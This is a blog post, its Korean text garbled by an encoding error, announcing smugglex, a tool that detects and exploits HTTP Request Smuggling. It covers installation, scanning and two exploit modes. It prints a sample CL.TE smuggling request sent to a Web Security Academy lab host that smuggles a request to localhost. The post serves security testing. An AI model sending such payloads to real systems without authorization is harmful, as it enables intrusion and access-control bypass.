์๋ ํ์ธ์! ์ต๊ทผ ๋ง๋ค๊ณ ์๋ ์๋ก์ด ๋๊ตฌ ํ๋๋ฅผ ๊ณต๊ฐํ๊ณ ๐๋ฅผ ํตํด ๊ณต์ ํ์ต๋๋ค. HTTP Request Smuggling์ ํ์งํ๊ธฐ ์ํ ๋๊ตฌ์ธ smugglex์ ๋๋ค.
https://github.com/hahwul/smugglex
Installation
ํ์ฌ Homebrew, Snapcraft, Nix, Cargo ๋ฑ ๋ค์ํ ํจํค์ง ๋งค๋์ ๋ฅผ ํตํ ์ค์น๋ฅผ ์ง์ํ๊ณ ์์ต๋๋ค. Installation ๋ฌธ์ ์ฐธ๊ณ ํ์ ์ ์ํ๋ ๋๊ตฌ๋ก ์ค์นํ์๋ฉด ๋ฉ๋๋ค.
# e.g.,
cargo install smugglex
brew install hahwul/smugglex/smugglex
nix profile install github:hahwul/smugglex
์ฐธ๊ณ ๋ก ํจํค์ง ๋งค๋์ ๋ค์ ๋ํ ์ง์์ ์ ๊ฐ ๊ฐ๋ฐํ๋ ๋๊ตฌ๋ค์ ์ ์ฒด์ ์ผ๋ก ๋ง์ถฐ๋๊ฐ ์๊ฐ์ ๋๋ค. nix ๋ฑ์ ์ต๊ทผ์ ์ ๋ฐ์ดํธํ ๋๊ตฌ(noir, smugglex)์ ์ง์ํ๊ณ ์๊ณ dalfox(v3 ์ฝ๋ ๋ฒ ์ด์ค์์ ์ด๋ฏธ ์ ์ฉ), urx ๋ฑ ๋ค๋ฅธ ๋๊ตฌ๋ค๋ ๋น์ทํ๊ฒ ์ค์น ๋ฐฉ์์ ์ ๊ณตํ ์์ ์ ๋๋ค.
Detect Smuggling
์ด ๋๊ตฌ๋ ๊ธฐ๋ณธ์ ์ผ๋ก HTTP Request Smuggling์ ํ์งํ๋ ๊ฒ์ ๋ชฉํ๋ก ํฉ๋๋ค. ์๋์ ๊ฐ์ด ์ค์บ์ ์งํํ ์ ์์ผ๋ฉฐ, ๋จ์ผ ํ๊ฒ ๋๋ ๋ค์ ํ๊ฒ์ ๋์์ผ๋ก ์ค์บํ ์ ์์ต๋๋ค.
# Single target
smugglex https://target.com
# Multiple targets
cat urls.txt | smugglex
Smuggling์ด ํ์ธ๋๋ ๊ฒฝ์ฐ ์๋์ ๊ฐ์ด ํ ์คํธํ ์ ์๋ ์ํ Request๋ฅผ ์ ๊ณตํฉ๋๋ค.

Exploiting
smugglex๋ ํ์ฌ 2๊ฐ์ง์ Exploit ๋ฉ์๋๋ฅผ ์ ์ํฉ๋๋ค. ํด๋น ๊ธฐ๋ฅ์ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ Smuggling ํ์ง ์ ์ถ๊ฐ์ ์ธ ํ ์คํธ๋ฅผ ์งํํฉ๋๋ค.
EXPLOIT:
-e, --exploit <EXPLOIT>
Exploit types to run after detection (comma-separated: localhost-access,path-fuzz)
localhost-access์ ๊ฒฝ์ฐ smuggled๋ ์์ฒญ์ ํตํด localhost์ ์ฌ๋ฌ ์ ๋ณด์ ์ ๊ทผํ๋ ๊ธฐ๋ฅ์ ์ํํฉ๋๋ค.
[*] Testing localhost access on port 80...
[*] Generated localhost payload for port 80
--- REQUEST ---
POST / HTTP/1.1
Host: 0a1100f0035b6b6380e0c60e005c00c4.web-security-academy.net
Connection: keep-alive
Content-Length: 6
Transfer-Encoding: chunked
1
X
0
GET / HTTP/1.1
Host: 127.0.0.1:80
Connection: close
path-fuzz๋ ์ฌ์ ์ ์๋ ๋ฆฌ์คํธ ๋๋ ์ฌ์ฉ์์๊ฒ ์
๋ ฅ๋ฐ์ ๋ฆฌ์คํธ(--exploit-wordlist)๋ฅผ ํตํด smuggled๋ ์์ฒญ์ผ๋ก ๋ฐฑ์๋์ ๊ฒฝ๋ก๋ฅผ ํ์ํฉ๋๋ค.
Next Plan
์ฌ์ค ๊ณต์ ํ ์ดํ๋ก ๋ง์ ๊ด์ฌ๊ณผ DM์ผ๋ก ํผ๋๋ฐฑ์ ๋ฐ์์ต๋๋ค. ๊ธฐ๋ฅ๋ ๊ธฐ๋ฅ์ด์ง๋ง ์ฐ์ ๋น๋ถ๊ฐ์ Smuggling ํ์ง ์ฑ๋ฅ(์ ํ์ ๋๋ฆฌ๊ณ , ์คํ์ ์ค์ด๋)์ ๋ชฉํ๋ก ํ๊ณ Exploit ๋ถ๋ถ์ ๊ณ์ ํ๋ํ๋ฉฐ ๋์๊ฐ ๋จ์ ์ค์บ๋๊ฐ ์๋ HTTP Request Smuggling์ ํ ์คํธํ๋ ์ ๊ณผ์ ์ ๊ฐ์ ๋๋ ๋๊ตฌ๊ฐ ๋๊ธธ ํฌ๋งํฉ๋๋ค.
์ฌ์ฉํด๋ณด์๊ณ ๊ฐ์ ๋์ผ๋ฉด ํ๋ ๋ถ๋ถ๋ค์ ํธํ ์ด์ผ๊ธฐ์ฃผ์๋ฉด ๊ฐ์ฌํ๊ฒ ์ต๋๋ค. ๋ฒ์จ ํ ํด๊ฐ ๋๋๊ฐ๋ค์! ๋ชจ๋ ์ํด ๋ณต ๋ง์ด ๋ฐ์ผ์ธ์!